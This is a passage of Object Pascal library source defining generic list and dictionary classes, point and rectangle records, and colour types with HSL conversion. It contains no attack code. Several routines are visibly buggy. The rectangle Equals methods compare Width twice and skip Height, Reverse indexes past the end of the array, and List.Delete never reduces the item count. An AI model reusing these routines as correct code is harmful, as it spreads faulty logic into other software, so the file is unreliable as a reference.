function GetTopLeft: TPointI;
function GetBottomRight: TPointI;
function GetMidPoint: TPointI;
public
X, Y, Width, Height: Integer;
class operator Implicit(const Value: TRectI): TRect;
class operator Implicit(const Value: TRect): TRectI;
class operator Equal(const A, B: TRectI): Boolean;
class operator NotEqual(const A, B: TRectI): Boolean;
class function Create: TRectI; overload; static;
class function Create(Size: TPointI): TRectI; overload; static;
class function Create(W, H: Integer): TRectI; overload; static;
class function Create(X, Y, W, H: Integer): TRectI; overload; static;
function Equals(const Value: TRectI): Boolean;
function Contains(X, Y: Integer): Boolean; overload;
function Contains(const P: TPointI): Boolean; overload;
procedure Center(X, Y: Integer); overload;
procedure Center(const P: TPointI); overload;
procedure Inflate(X, Y: Integer); overload;
procedure Inflate(const P: TPointI); overload;
procedure Offset(X, Y: Integer); overload;
procedure Offset(const P: TPointI); overload;
property Empty: Boolean read GetEmpty;
property Left: Integer read X write SetLeft;
property Top: Integer read Y write SetTop;
property Right: Integer read GetRight write SetRight;
property Bottom: Integer read GetBottom write SetBottom;
property Size: TPointI read GetSize;
property TopLeft: TPointI read GetTopLeft;
property BottomRight: TPointI read GetBottomRight;
property MidPoint: TPointI read GetMidPoint;
end;
PRectI = ^TRectI;
{ TPointF }
TPointF = record
public
X, Y: Float;
class operator Implicit(const Value: TPointI): TPointF;
class operator Implicit(const Value: TPoint): TPointF;
class operator Explicit(const Value: TPointF): TPointI;
class operator Explicit(const Value: TPointF): TPoint;
class operator Negative(const A: TPointF): TPointF;
class operator Equal(const A, B: TPointF): Boolean;
class operator NotEqual(const A, B: TPointF): Boolean;
class operator Add(const A, B: TPointF): TPointF;
class operator Subtract(const A, B: TPointF): TPointF;
function Equals(const Value: TPointF): Boolean;
class function Create: TPointF; overload; static;
class function Create(X, Y: Float): TPointF; overload; static;
procedure Offset(X, Y: Float); overload;
procedure Offset(const P: TPointF); overload;
function Move(X, Y: Float): TPointF; overload;
function Move(const P: TPointF): TPointF; overload;
function Angle(const P: TPointF): Float;
function Dist(const P: TPointF): Float;
function Mid(const P: TPointF): TPointF;
function Extend(const P: TPointF; Dist: Float): TPointF;
function Rotate(const P: TPointF; Angle: Float): TPointF;
end;
PPointF = ^TPointF;
{ TRectF }
TRectF = record
private
function GetEmpty: Boolean;
procedure SetTop(Value: Float);
procedure SetLeft(Value: Float);
function GetRight: Float;
procedure SetRight(Value: Float);
function GetBottom: Float;
procedure SetBottom(Value: Float);
function GetSize: TPointF;
function GetTopLeft: TPointF;
function GetTopRight: TPointF;
function GetBottomLeft: TPointF;
function GetBottomRight: TPointF;
function GetMidPoint: TPointF;
function GetMidLeft: TPointF;
function GetMidTop: TPointF;
function GetMidRight: TPointF;
function GetMidBottom: TPointF;
public
X, Y, Width, Height: Float;
class operator Implicit(const Value: TRectI): TRectF;
class operator Implicit(const Value: TRect): TRectF;
class operator Explicit(const Value: TRectF): TRectI;
class operator Explicit(const Value: TRectF): TRect;
class operator Equal(const A, B: TRectF): Boolean;
class operator NotEqual(const A, B: TRectF): Boolean;
class function Create: TRectF; overload; static;
class function Create(Size: TPointF): TRectF; overload; static;
class function Create(W, H: Float): TRectF; overload; static;
class function Create(X, Y, W, H: Float): TRectF; overload; static;
function Equals(const Value: TRectF): Boolean;
function Contains(X, Y: Float): Boolean; overload;
function Contains(const P: TPointF): Boolean; overload;
procedure Center(X, Y: Float); overload;
procedure Center(const P: TPointF); overload;
procedure Center(const R: TRectF); overload;
procedure Inflate(X, Y: Float); overload;
procedure Inflate(const P: TPointF); overload;
procedure Offset(X, Y: Float); overload;
procedure Offset(const P: TPointF); overload;
property Empty: Boolean read GetEmpty;
property Left: Float read X write SetLeft;
property Top: Float read Y write SetTop;
property Right: Float read GetRight write SetRight;
property Bottom: Float read GetBottom write SetBottom;
property Size: TPointF read GetSize;
property TopLeft: TPointF read GetTopLeft;
property TopRight: TPointF read GetTopRight;
property BottomLeft: TPointF read GetBottomLeft;
property BottomRight: TPointF read GetBottomRight;
property MidPoint: TPointF read GetMidPoint;
property MidLeft: TPointF read GetMidLeft;
property MidTop: TPointF read GetMidTop;
property MidRight: TPointF read GetMidRight;
property MidBottom: TPointF read GetMidBottom;
end;
PRectF = ^TRectF;
{ THSL }
THSL = record
public
Hue, Saturation, Lightness: Float;
class operator Implicit(Value: Float): THSL;
class operator Implicit(const Value: THSL): Float;
end;
PHSL = ^THSL;
{ TColorB }
TColorB = packed record
public
class operator Implicit(const Value: THSL): TColorB;
class operator Explicit(Value: TColorB): THSL;
class function Create(R, G, B: Byte; A: Byte = $FF): TColorB; static;
function Blend(Value: TColorB; Percent: Float): TColorB;
function Desaturate(Percent: Float): TColorB;
function Darken(Percent: Float): TColorB;
function Lighten(Percent: Float): TColorB;
function Fade(Percent: Float): TColorB;
public
case Integer of
0: (R, G, B, A: Byte);
1: (Red, Green, Blue, Alpha: Byte);
end;
PColorB = ^TColorB;
TRGBA = TColorB;
PRGBA = PColorB;
TPixel = TColorB;
PPixel = PColorB;
{ TColorF }
TColorF = record
public
class operator Implicit(const Value: THSL): TColorF;
class operator Explicit(const Value: TColorF): THSL;
class operator Implicit(Value: TColorB): TColorF;
class operator Explicit(const Value: TColorF): TColorB;
class function Create(B, G, R: Float; A: Byte = 1): TColorF; static;
function Blend(const Value: TColorF; Percent: Float): TColorF;
function Desaturate(Percent: Float): TColorF;
function Fade(Percent: Float): TColorF;
public
case Integer of
0: (R, G, B, A: Float);
1: (Red, Green, Blue, Alpha: Float);
end;
PColorF = ^TColorF;
{ Color routines }
function Hue(H: Float): TColorB;
function Blend(A, B: TColorB; Percent: Float): TColorB;
function Fade(Color: TColorB; Percent: Float): TColorB;
function Darken(Color: TColorB; Percent: Float): TColorB;
function Lighten(Color: TColorB; Percent: Float): TColorB;
{$endregion}
implementation
uses
Bare.Constants;
{$region collections}
{ TArrayEnumerator<T> }
constructor TArrayEnumerator<T>.Create(const Items: TArray<T>);
begin
inherited Create;
FItems := Items;
FPosition := -1;
end;
function TArrayEnumerator<T>.GetCurrent: T;
begin
Result := FItems[FPosition];
end;
function TArrayEnumerator<T>.MoveNext: Boolean;
begin
Inc(FPosition);
Result := FPosition < Length(FItems);
end;
{ TArrayList<T> }
function TArrayList<T>.GetEnumerator: TEnumerator;
begin
Result := TEnumerator.Create(Items);
end;
class operator TArrayList<T>.Implicit(const Value: TArrayList<T>): TArray<T>;
begin
Result := Value.Items;
end;
class operator TArrayList<T>.Implicit(const Value: TArray<T>): TArrayList<T>;
begin
Result.Items := Value;
end;
procedure TArrayList<T>.Reverse;
var
Swap: T;
I, J: Integer;
begin
I := 0;
J := Length(Items);
while I < J do
begin
Swap := Items[I];
Items[I] := Items[J];
Items[J] := Swap;
Inc(I);
Dec(J);
end;
end;
procedure TArrayList<T>.Add(const Item: T);
var
I: Integer;
begin
I := Length(Items);
SetLength(Items, I + 1);
Items[I] := Item;
end;
procedure TArrayList<T>.AddRange(const Collection: array of T);
var
I, J: Integer;
begin
I := Length(Items);
J := High(Collection);
if J < 1 then
Exit;
SetLength(Items, I + J);
for J := Low(Collection) to High(Collection) do
begin
Items[I] := Collection[J];
Inc(I);
end;
end;
procedure TArrayList<T>.Delete(Index: Integer);
var
I, J: Integer;
begin
I := Length(Items) - 1;
for J := Index + 1 to I do
Items[J - 1] := Items[J];
SetLength(Items, I);
end;
procedure TArrayList<T>.Clear;
begin
Items := nil;
end;
function TArrayList<T>.GetEmpty: Boolean;
begin
Result := Length(Items) = 0;
end;
function TArrayList<T>.GetFirst: T;
begin
Result := Items[0];
end;
procedure TArrayList<T>.SetFirst(const Value: T);
begin
Items[0] := Value;
end;
function TArrayList<T>.GetLast: T;
begin
Result := Items[Length(Items) - 1];
end;
procedure TArrayList<T>.SetLast(const Value: T);
begin
Items[Length(Items) - 1] := Value;
end;
function TArrayList<T>.GetCount: Integer;
begin
Result := Length(Items);
end;
procedure TArrayList<T>.SetCount(Value: Integer);
begin
if Value <> Length(Items) then
SetLength(Items, Value);
end;
function TArrayList<T>.GetData: Pointer;
begin
Result := @Items[0];
end;
function TArrayList<T>.GetItem(Index: Integer): T;
begin
Result := Items[Index];
end;
procedure TArrayList<T>.SetItem(Index: Integer; const Value: T);
begin
Items[Index] := Value;
end;
{ TCollection<TItem> }
function TCollection<TItem>.GetEnumerator: TItems.TEnumerator;
begin
Result := Items.GetEnumerator;
end;
function TCollection<TItem>.GetCount: Integer;
begin
Result := Items.Count;
end;
{ TOwnerCollection<T> }
destructor TOwnerCollection<TItem>.Destroy;
var
I: Integer;
begin
for I := 0 to Items.Count - 1 do
Items[I].Free;
Items := nil;
inherited Destroy;
end;
{ TListEnumerator<TItem> }
constructor TListEnumerator<TItem>.Create(Items: TArray<TItem>; Count: Integer);
begin
inherited Create;
FItems := Items;
FCount := Count;
FPosition := -1;
end;
function TListEnumerator<TItem>.GetCurrent: TItem;
begin
Result := FItems[FPosition];
end;
function TListEnumerator<TItem>.MoveNext: Boolean;
begin
Inc(FPosition);
Result := FPosition < FCount;
end;
function TList<TItem>.GetEnumerator: TEnumerator;
begin
Result := TEnumerator.Create(FItems, FCount);
end;
procedure TList<TItem>.AddItem(constref Item: TItem);
begin
Grow(FCount + 1);
FItems[FCount] := Item;
Inc(FCount);
end;
procedure TList<TItem>.DeleteItem(var Item: TItem);
begin
Item := default(TItem);
end;
function TList<TItem>.RequiresDelete: Boolean;
begin
Result := False;
end;
function TList<TItem>.Find(Comparer: TComparer<TItem>; const Item: TItem): Integer;
var
I: Integer;
begin
for I := Low(FItems) to High(FItems) do
if Comparer(Item, FItems[I]) = 0 then
Exit(I);
Result := -1;
end;
procedure TList<TItem>.Grow(MinCapacity: Integer);
begin
if MinCapacity > FCapacity then
begin
if MinCapacity < 10 then
MinCapacity := 10;
FCapacity := MinCapacity + FCapacity div 4;
SetLength(FItems, FCapacity);
end;
end;
destructor TList<TItem>.Destroy;
begin
Clear;
inherited Destroy;
end;
procedure TList<TItem>.CheckBounds(const Method: string; Index: Integer);
begin
if (Index < 0) or (Index >= FCount) then
raise ERangeError.CreateFmt(SRangeMethodError, [ClassName, Method]);
end;
procedure TList<TItem>.Clear;
var
I: Integer;
begin
if FCount = 0 then
Exit;
if RequiresDelete then
for I := Low(FItems) to High(Fitems) do
DeleteItem(FItems[I]);
FCount := 0;
FCapacity := 0;
FItems := nil;
end;
procedure TList<TItem>.Compact;
begin
if FCount = 0 then
Clear
else
begin
SetLength(FItems, FCount);
FCapacity := FCount;
end;
end;
procedure TList<TItem>.Add(const Item: TItem);
begin
AddItem(Item);
end;
procedure TList<TItem>.Delete(Index: Integer);
var
I: Integer;
begin
CheckBounds('Delete', Index);
DeleteItem(FItems[Index]);
for I := Index + 1 to High(FItems) do
FItems[I - 1] := FItems[I];
if Index <> High(FItems) then
FItems[High(FItems)] := default(TItem);
end;
procedure TList<TItem>.Exchange(A, B: Integer);
var
I: TItem;
begin
CheckBounds('Exchange', A);
CheckBounds('Exchange', B);
I := FItems[A];
FItems[A] := FItems[B];
FItems[B] := I;
end;
function TList<TItem>.GetCapacity: Integer;
begin
Result := FCapacity;
end;
procedure TList<TItem>.SetCapacity(Value: Integer);
begin
if Value > FCapacity then
Grow(Value);
end;
function TList<TItem>.GetItem(Index: Integer): TItem;
begin
CheckBounds('GetItem', Index);
Result := FItems[Index];
end;
procedure TList<TItem>.SetItem(Index: Integer; const Value: TItem);
begin
CheckBounds('SetItem', Index);
DeleteItem(FItems[Index]);
FItems[Index] := Value;
end;
{ TIndexedList<TItem> }
function TIndexedList<TItem>.Remove(const Item: TItem): Boolean;
var
I: Integer;
begin
I := IndexOf(Item);
Result := (I > -1) and (I < Count);
if Result then
Delete(I);
end;
{ TObjectList<TItem> }
constructor TObjectList<TItem>.Create(OwnsObjects: Boolean);
begin
inherited Create;
FOwnsObjects := OwnsObjects;
end;
procedure TObjectList<TItem>.DeleteItem(var Item: TItem);
begin
if FOwnsObjects then
Item.Free;
Item := nil;
end;
function TObjectList<TItem>.RequiresDelete: Boolean;
begin
Result := FOwnsObjects;
end;
function FindObject(const A, B: TObject): Integer;
begin
Result := PtrInt(A) - PtrInt(B);
end;
function TObjectList<TItem>.IndexOf(const Item: TItem): Integer;
begin
Result := Find(TComparer<TItem>(@FindObject), Item);
end;
{ TDictionary<K, V>.TKeyValueEnumerator }
constructor TDictionary<K, V>.TKeyValueEnumerator.Create(List: TList<TKeyValue>);
begin
inherited Create;
FList := List;
FPosition := -1;
end;
function TDictionary<K, V>.TKeyValueEnumerator.GetCurrent: TKeyValue;
begin
Result := TKeyValue(FList[FPosition]);
end;
function TDictionary<K, V>.TKeyValueEnumerator.MoveNext: Boolean;
begin
Inc(FPosition);
Result := FPosition < FList.Count;
end;
{ TDictionary<K, V> }
constructor TDictionary<K, V>.Create;
begin
inherited Create;
FList := TList<TKeyValue>.Create;
end;
destructor TDictionary<K, V>.Destroy;
begin
Clear;
inherited Destroy;
end;
function TDictionary<K, V>.KeyEquals(const A, B: K): Boolean;
begin
if Assigned(FComparer) then
Result := FComparer(A, B) = 0
else
Result := A = B;
end;
function TDictionary<K, V>.GetEnumerator: TKeyValueEnumerator;
begin
Result := TKeyValueEnumerator.Create(FList);
end;
procedure TDictionary<K, V>.Remove(const Key: K);
var
KeyValue: TKeyValue;
I: Integer;
begin
I := 0;
repeat
KeyValue := TKeyValue(FList[I]);
if KeyEquals(KeyValue.Key, Key) then
begin
KeyValue.Free;
FList.Delete(I);
Exit;
end;
Inc(I);
until False;
end;
procedure TDictionary<K, V>.Clear;
var
I: Integer;
begin
for I := 0 to FList.Count - 1 do
TObject(FList[I]).Free;
FList.Clear;
end;
function TDictionary<K, V>.KeyExists(const Key: K): Boolean;
var
KeyValue: TKeyValue;
I: Integer;
begin
for I := 0 to FList.Count - 1 do
begin
KeyValue := TKeyValue(FList[I]);
if KeyEquals(KeyValue.Key, Key) then
Exit(True);
end;
Result := False;
end;
function TDictionary<K, V>.GetCount: Integer;
begin
Result := FList.Count;
end;
function TDictionary<K, V>.GetKey(Index: Integer): K;
begin
Result := TKeyValue(FList[Index]).Key;
end;
function TDictionary<K, V>.GetValue(const Key: K): V;
var
KeyValue: TKeyValue;
I: Integer;
begin
I := 0;
repeat
KeyValue := TKeyValue(FList[I]);
if KeyEquals(KeyValue.Key, Key) then
Exit(KeyValue.Value);
Inc(I);
until False;
end;
procedure TDictionary<K, V>.SetValue(const Key: K; const Value: V);
var
KeyValue: TKeyValue;
I: Integer;
begin
for I := 0 to FList.Count - 1 do
begin
KeyValue := TKeyValue(FList[I]);
if KeyEquals(KeyValue.Key, Key) then
begin
KeyValue.Value := Value;
Exit;
end;
end;
KeyValue := TKeyValue.Create;
KeyValue.FKey := Key;
KeyValue.FValue := Value;
FList.Add(KeyValue);
end;
{$endregion}
{$region types}
{ TPointI }
class operator TPointI.Implicit(const Value: TPointI): TPoint;
var
R: TPoint absolute Value;
begin
Result := R;
end;
class operator TPointI.Implicit(const Value: TPoint): TPointI;
var
R: TPointI absolute Value;
begin
Result := R;
end;
class operator TPointI.Negative(const A: TPointI): TPointI;
begin
Result.X := -A.X;
Result.Y := -A.Y;
end;
class operator TPointI.Equal(const A, B: TPointI): Boolean;
begin
Result := A.Equals(B);
end;
class operator TPointI.NotEqual(const A, B: TPointI): Boolean;
begin
Result := not A.Equals(B);
end;
class operator TPointI.Add(const A, B: TPointI): TPointI;
begin
Result.X := A.X + B.X;
Result.Y := A.Y + B.Y;
end;
class operator TPointI.Subtract(const A, B: TPointI): TPointI;
begin
Result.X := A.X - B.X;
Result.Y := A.Y - B.Y;
end;
class function TPointI.Create: TPointI;
begin
Result.X := 0;
Result.Y := 0;
end;
class function TPointI.Create(X, Y: Integer): TPointI;
begin
Result.X := X;
Result.Y := Y;
end;
function TPointI.Equals(const Value: TPointI): Boolean;
begin
Result := (X = Value.X) and (Y = Value.Y);
end;
function TPointI.Angle(const P: TPointI): Float;
begin
Result := TPointF(Self).Angle(P);
end;
function TPointI.Dist(const P: TPointI): Float;
begin
Result := TPointF(Self).Dist(P);
end;
function TPointI.Mid(const P: TPointI): TPointI;
begin
Result := TPointI(TPointF(Self).Mid(P));
end;
procedure TPointI.Offset(X, Y: Integer);
begin
Inc(Self.X, X);
Inc(Self.Y, Y);
end;
procedure TPointI.Offset(const P: TPointI);
begin
Inc(X, P.X);
Inc(Y, P.Y);
end;
function TPointI.Move(X, Y: Integer): TPointI;
begin
Result.X := Self.X + X;
Result.Y := Self.Y + Y;
end;
function TPointI.Move(const P: TPointI): TPointI;
begin
Result.X := X + P.X;
Result.Y := Y + P.Y;
end;
{ TRectI }
class operator TRectI.Implicit(const Value: TRectI): TRect;
begin
Result.Left := Value.X;
Result.Top := Value.Y;
Result.Right := Value.X + Value.Width;
Result.Bottom := Value.Y + Value.Height;
end;
class operator TRectI.Implicit(const Value: TRect): TRectI;
begin
Result.X := Value.Left;
Result.Y := Value.Top;
Result.Width := Value.Right - Value.Left;
Result.Height := Value.Bottom - Value.Top;
end;
class operator TRectI.Equal(const A, B: TRectI): Boolean;
begin
Result := A.Equals(B);
end;
class operator TRectI.NotEqual(const A, B: TRectI): Boolean;
begin
Result := not A.Equals(B);
end;
class function TRectI.Create: TRectI;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := 0;
Result.Height := 0;
end;
class function TRectI.Create(Size: TPointI): TRectI;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := Size.X;
Result.Height := Size.Y;
end;
class function TRectI.Create(W, H: Integer): TRectI;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := W;
Result.Height := H;
end;
class function TRectI.Create(X, Y, W, H: Integer): TRectI;
begin
Result.X := X;
Result.Y := Y;
Result.Width := W;
Result.Height := H;
end;
function TRectI.Equals(const Value: TRectI): Boolean;
begin
Result := (X = Value.X) and (Y = Value.Y) and
(Width = Value.Width) and (Width = Value.Width);
end;
function TRectI.Contains(X, Y: Integer): Boolean;
begin
Result := Contains(TPointI.Create(X, Y));
end;
function TRectI.Contains(const P: TPointI): Boolean;
begin
if Empty then
Exit(False);
Result := (X <= P.X) and (X + Width > P.X) and
(Y <= P.Y) and (Y + Height > P.Y);
end;
procedure TRectI.Center(X, Y: Integer);
begin
Self.X := X - Width shr 1;
Self.Y := Y - Height shr 1;
end;
procedure TRectI.Center(const P: TPointI);
begin
X := P.X - Width shr 1;
Y := P.Y - Height shr 1;
end;
procedure TRectI.Inflate(X, Y: Integer);
begin
Dec(Self.X, X);
Inc(Width, X shl 1);
Dec(Self.Y, Y);
Inc(Height, Y shl 1);
end;
procedure TRectI.Inflate(const P: TPointI);
begin
Dec(X, P.X);
Inc(Width, P.X shl 1);
Dec(Y, P.Y);
Inc(Height, P.Y shl 1);
end;
procedure TRectI.Offset(X, Y: Integer);
begin
Inc(Self.X, X);
Inc(Self.Y, Y);
end;
procedure TRectI.Offset(const P: TPointI);
begin
Inc(X, P.X);
Inc(Y, P.Y);
end;
function TRectI.GetEmpty: Boolean;
begin
Result := (Width < 1) or (Height < 1);
end;
procedure TRectI.SetLeft(Value: Integer);
var
I: Integer;
begin
I := X + Width;
X := Value;
Width := I - X;
end;
procedure TRectI.SetTop(Value: Integer);
var
I: Integer;
begin
I := Y + Height;
Y := Value;
Height := I - Y;
end;
function TRectI.GetRight: Integer;
begin
Result := X + Width;
end;
procedure TRectI.SetRight(Value: Integer);
begin
Width := Value - X;
end;
function TRectI.GetBottom: Integer;
begin
Result := Y + Height;
end;
procedure TRectI.SetBottom(Value: Integer);
begin
Height := Value - Y;
end;
function TRectI.GetSize: TPointI;
begin
Result := TPointI.Create(Width, Height);
end;
function TRectI.GetTopLeft: TPointI;
begin
Result := TPointI.Create(X, Y);
end;
function TRectI.GetBottomRight: TPointI;
begin
Result := TPointI.Create(X + Width, Y + Height);
end;
function TRectI.GetMidPoint: TPointI;
begin
Result := TPointI.Create(X + Width div 2, Y + Height div 2);
end;
{ TPointF }
class operator TPointF.Implicit(const Value: TPointI): TPointF;
begin
Result.X := Value.X;
Result.Y := Value.Y;
end;
class operator TPointF.Implicit(const Value: TPoint): TPointF;
begin
Result.X := Value.X;
Result.Y := Value.Y;
end;
class operator TPointF.Explicit(const Value: TPointF): TPointI;
begin
Result.X := Round(Value.X);
Result.Y := Round(Value.Y);
end;
class operator TPointF.Explicit(const Value: TPointF): TPoint;
begin
Result.X := Round(Value.X);
Result.Y := Round(Value.Y);
end;
class operator TPointF.Negative(const A: TPointF): TPointF;
begin
Result.X := -A.X;
Result.Y := -A.Y;
end;
class operator TPointF.Equal(const A, B: TPointF): Boolean;
begin
Result := A.Equals(B);
end;
class operator TPointF.NotEqual(const A, B: TPointF): Boolean;
begin
Result := not A.Equals(B);
end;
class operator TPointF.Add(const A, B: TPointF): TPointF;
begin
Result.X := A.X + B.X;
Result.Y := A.Y + B.Y;
end;
class operator TPointF.Subtract(const A, B: TPointF): TPointF;
begin
Result.X := A.X - B.X;
Result.Y := A.Y - B.Y;
end;
class function TPointF.Create: TPointF;
begin
Result.X := 0;
Result.Y := 0;
end;
class function TPointF.Create(X, Y: Float): TPointF;
begin
Result.X := X;
Result.Y := Y;
end;
function TPointF.Equals(const Value: TPointF): Boolean;
begin
Result := (X = Value.X) and (Y = Value.Y);
end;
procedure TPointF.Offset(X, Y: Float);
begin
Self.X := Self.X + X;
Self.Y := Self.Y + Y;
end;
procedure TPointF.Offset(const P: TPointF);
begin
X := X + P.X;
Y := Y + P.Y;
end;
function TPointF.Move(X, Y: Float): TPointF;
begin
Result.X := Self.X + X;
Result.Y := Self.Y + Y;
end;
function TPointF.Move(const P: TPointF): TPointF;
begin
Result.X := X + P.X;
Result.Y := Y + P.Y;
end;
function TPointF.Angle(const P: TPointF): Float;
var
X, Y: Float;
begin
X := Self.X - P.X;
Y := Self.Y - P.Y;
if X = 0 then
if Y < 0 then
Exit(Pi)
else
Exit(0);
Result := Arctan(Y / X) + Pi / 2;
if X > 0 then
Result := Result + Pi;
end;
function TPointF.Dist(const P: TPointF): Float;
var
X, Y: Float;
begin
X := Self.X - P.X;
Y := Self.Y - P.Y;
Result := Sqrt(X * X + Y * Y);
end;
function TPointF.Mid(const P: TPointF): TPointF;
begin
Result.X := (X + P.X) / 2;
Result.Y := (Y + P.Y) / 2;
end;
function TPointF.Extend(const P: TPointF; Dist: Float): TPointF;
var
X, Y, R: Float;
begin
X := Self.X - P.X;
Y := Self.Y - P.Y;
R := Sqrt(X * X + Y * Y);
if R = 0 then
Exit(Self);
R := 1 / R;
Result.X := Self.X - X * R * Dist;
Result.Y := Self.Y - Y * R * Dist;
end;
function TPointF.Rotate(const P: TPointF; Angle: Float): TPointF;
var
S, C: Float;
X, Y: Float;
begin
if Angle = 0 then
Exit(P);
SinCos(Angle, S, C);
X := Self.Y * S - Self.X * C + Self.X;
Y := -Self.X * S - Self.Y * C + Self.Y;
Result.X := P.X * C - P.Y * S + X;
Result.Y := P.X * S + P.Y * C + Y;
end;
{ TRectF }
class operator TRectF.Implicit(const Value: TRectI): TRectF;
begin
Result.X := Value.X;
Result.Y := Value.Y;
Result.Width := Value.Width;
Result.Height := Value.Height;
end;
class operator TRectF.Implicit(const Value: TRect): TRectF;
begin
Result.X := Value.Left;
Result.Y := Value.Top;
Result.Width := Value.Right - Value.Left;
Result.Height := Value.Bottom - Value.Top;
end;
class operator TRectF.Explicit(const Value: TRectF): TRectI;
begin
Result.X := Round(Value.X);
Result.Y := Round(Value.Y);
Result.Width := Round(Value.Width);
Result.Height := Round(Value.Height);
end;
class operator TRectF.Explicit(const Value: TRectF): TRect;
begin
Result.Left := Round(Value.X);
Result.Top := Round(Value.Y);
Result.Right := Result.Left + Round(Value.Width);
Result.Bottom := Result.Top + Round(Value.Height);
end;
class operator TRectF.Equal(const A, B: TRectF): Boolean;
begin
Result := A.Equals(B);
end;
class operator TRectF.NotEqual(const A, B: TRectF): Boolean;
begin
Result := not A.Equals(B);
end;
class function TRectF.Create: TRectF;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := 0;
Result.Height := 0;
end;
class function TRectF.Create(Size: TPointF): TRectF;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := Size.X;
Result.Height := Size.Y;
end;
class function TRectF.Create(W, H: Float): TRectF;
begin
Result.X := 0;
Result.Y := 0;
Result.Width := W;
Result.Height := H;
end;
class function TRectF.Create(X, Y, W, H: Float): TRectF;
begin
Result.X := X;
Result.Y := Y;
Result.Width := W;
Result.Height := H;
end;
function TRectF.Equals(const Value: TRectF): Boolean;
begin
Result := (X = Value.X) and (Y = Value.Y) and
(Width = Value.Width) and (Width = Value.Width);
end;
function TRectF.Contains(X, Y: Float): Boolean;
begin
Result := Contains(TPointF.Create(X, Y));
end;
function TRectF.Contains(const P: TPointF): Boolean;
begin
if Empty then
Exit(False);
Result := (X <= P.X) and (X + Width > P.X) and
(Y <= P.Y) and (Y + Height > P.Y);
end;
procedure TRectF.Center(X, Y: Float);
begin
Self.X := X - Width / 2;
Self.Y := Y - Height / 2;
end;
procedure TRectF.Center(const P: TPointF);
begin
X := P.X - Width / 2;
Y := P.Y - Height / 2;
end;
procedure TRectF.Center(const R: TRectF);
begin
Center(R.MidPoint)
end;
procedure TRectF.Inflate(X, Y: Float);
begin
Self.X := Self.X - X;
Self.Y := Self.Y - Y;
Width := Width + X * 2;
Height := Height + Y * 2;
end;
procedure TRectF.Inflate(const P: TPointF);
begin
X := X - P.X;
Y := Y - P.Y;
Width := Width + P.X * 2;
Height := Height + P.Y * 2;
end;
procedure TRectF.Offset(X, Y: Float);
begin
Self.X := Self.X + X;
Self.Y := Self.Y + Y;
end;
procedure TRectF.Offset(const P: TPointF);
begin
X := X + P.X;
Y := Y + P.Y;
end;
function TRectF.GetEmpty: Boolean;
begin
Result := (Width < 1) or (Height < 1);
end;
procedure TRectF.SetLeft(Value: Float);
var
I: Float;
begin
I := X + Width;
X := Value;
Width := I - X;
end;
procedure TRectF.SetTop(Value: Float);
var
I: Float;
begin
I := Y + Height;
Y := Value;
Height := I - Y;
end;
function TRectF.GetRight: Float;
begin
Result := X + Width;
end;
procedure TRectF.SetRight(Value: Float);
begin
Width := Value - X;
end;
function TRectF.GetBottom: Float;
begin
Result := Y + Height;
end;
procedure TRectF.SetBottom(Value: Float);
begin
Height := Value - Y;
end;
function TRectF.GetSize: TPointF;
begin
Result := TPointF.Create(Width, Height);
end;
function TRectF.GetTopLeft: TPointF;
begin
Result := TPointF.Create(X, Y);
end;
function TRectF.GetTopRight: TPointF;
begin
Result := TPointF.Create(X + Width, Y);
end;
function TRectF.GetBottomLeft: TPointF;
begin
Result := TPointF.Create(X, Y + Height);
end;
function TRectF.GetBottomRight: TPointF;
begin
Result := TPointF.Create(X + Width, Y + Height);
end;
function TRectF.GetMidPoint: TPointF;
begin
Result := TPointF.Create(X + Width / 2, Y + Height / 2);
end;
function TRectF.GetMidLeft: TPointF;
begin
Result := TPointF.Create(X, Y + Height / 2);
end;
function TRectF.GetMidTop: TPointF;
begin
Result := TPointF.Create(X + Width / 2, Y);
end;
function TRectF.GetMidRight: TPointF;
begin
Result := TPointF.Create(X + Width, Y + Height / 2);
end;
function TRectF.GetMidBottom: TPointF;
begin
Result := TPointF.Create(X + Width / 2, Y + Height);
end;
{ THSL }
class operator THSL.Implicit(Value: Float): THSL;
begin
Result.Hue := Remainder(Value, 1);
if Result.Hue < 0 then
Result.Hue := 1 - Result.Hue;
Result.Lightness := 0.5;
Result.Saturation := 1;
end;
class operator THSL.Implicit(const Value: THSL): Float;
begin
Result := Value.Hue;
end;
{ TColorB }
class operator TColorB.Implicit(const Value: THSL): TColorB;
const
OneOverThree = 1 / 3;
var
M1, M2: Float;
H, S, L, R, G, B: Float;
function HueToColor(Hue: Float): Float;
var
V: Double;
begin
Hue := Hue - Floor(Hue);
if 6 * Hue < 1 then
V := M1 + (M2 - M1) * Hue * 6
else if 2 * Hue < 1 then
V := M2
else if 3 * Hue < 2 then
V := M1 + (M2 - M1) * (2 / 3 - Hue) * 6
else
V := M1;
Result := V;
end;
begin
H := Remainder(Value.Hue, 1);
if H < 0 then
H := 1 - H;
S := Clamp(Value.Saturation);
L := Clamp(Value.Lightness);
if S = 0 then
begin
R := L;
G := L;
B := L;
end
else
begin
if L <= 0.5 then
M2 := L * (1 + S)
else
M2 := L + S - L * S;
M1 := 2 * L - M2;
R := HueToColor(H + OneOverThree);
G := HueToColor(H);
B := HueToColor(H - OneOverThree)
end;
Result.Red := Round(R * HiByte);
Result.Green := Round(G * HiByte);
Result.Blue := Round(B * HiByte);
Result.Alpha := HiByte;
end;
class operator TColorB.Explicit(Value: TColorB): THSL;
var
B, R, G, D, CMax, CMin: Single;
begin
B := Value.Blue / HiByte;
G := Value.Green / HiByte;
R := Value.Red / HiByte;
CMax := Max(R, Max(G, B));
CMin := Min(R, Min(G, B));
Result.Lightness := (CMax + CMin) / 2;
if CMax = CMin then
begin
Result.Hue := 0;
Result.Saturation := 0
end
else
begin
D := CMax - CMin;
if Result.Lightness < 0.5 then Result.Saturation := D / (CMax + CMin)
else Result.Saturation := D / (2 - CMax - CMin);
if R = CMax then Result.Hue := (G - B) / D
else
if G = CMax then Result.Hue := 2 + (B - R) / D
else Result.Hue := 4 + (R - G) / D;
Result.Hue := Result.Hue / 6;
if Result.Hue < 0 then Result.Hue := Result.Hue + 1
end;
end;
class function TColorB.Create(R, G, B: Byte; A: Byte = $FF): TColorB;
begin
Result.Red := R;
Result.Green := G;
Result.Blue := B;
Result.Alpha := A;
end;
function MixB(V1: Byte; P1: Float; V2: Byte; P2: Float): Byte; overload;
begin
Result := Round(V1 * P1 + V2 * P2);
end;
function MixF(V1, P1, V2, P2: Float): Float; overload;
begin
Result := V1 * P1 + V2 * P2;
end;
